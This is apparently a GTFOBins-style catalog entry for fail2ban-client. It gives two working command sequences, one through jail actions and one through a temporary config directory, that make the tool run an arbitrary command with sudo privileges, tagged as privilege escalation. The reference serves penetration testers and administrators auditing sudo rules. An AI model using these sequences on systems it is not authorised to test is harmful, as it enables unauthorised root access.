DΛΣMӨП

Catalog GTFOBins

GTFO · Tool

fail2ban-client

2 techniques LinuxGTFOBins GPL-3.0

command

ExecutionPrivilege Escalation Linux

The subprocess is immediately sent to the background, but `fail2ban-client` waits on a return code from the subprocess. The `banip` command will hang until the subprocess returns.

fail2ban-client add x
fail2ban-client set x addaction x
fail2ban-client set x action x actionban /path/to/command
fail2ban-client start x
fail2ban-client set x banip 999.999.999.999
fail2ban-client set x unbanip 999.999.999.999
fail2ban-client stop x
Context
sudo
Native
command
MITRE
T1059

command

ExecutionPrivilege Escalation Linux 
cat >/path/to/temp-dir/fail2ban.conf <<EOF
[Definition]
EOF

cat >/path/to/temp-dir/jail.local <<EOF
[x]
enabled = true
action = x
EOF

mkdir -p /path/to/temp-dir/action.d/
cat >/path/to/temp-dir/action.d/x.conf <<EOF
[Definition]
actionstart = /path/to/command
EOF

mkdir -p /path/to/temp-dir/filter.d/
cat >/path/to/temp-dir/filter.d/x.conf <<EOF
[Definition]
EOF

fail2ban-client -c /path/to/temp-dir/ -v restart
Context
sudo
Native
command
MITRE
T1059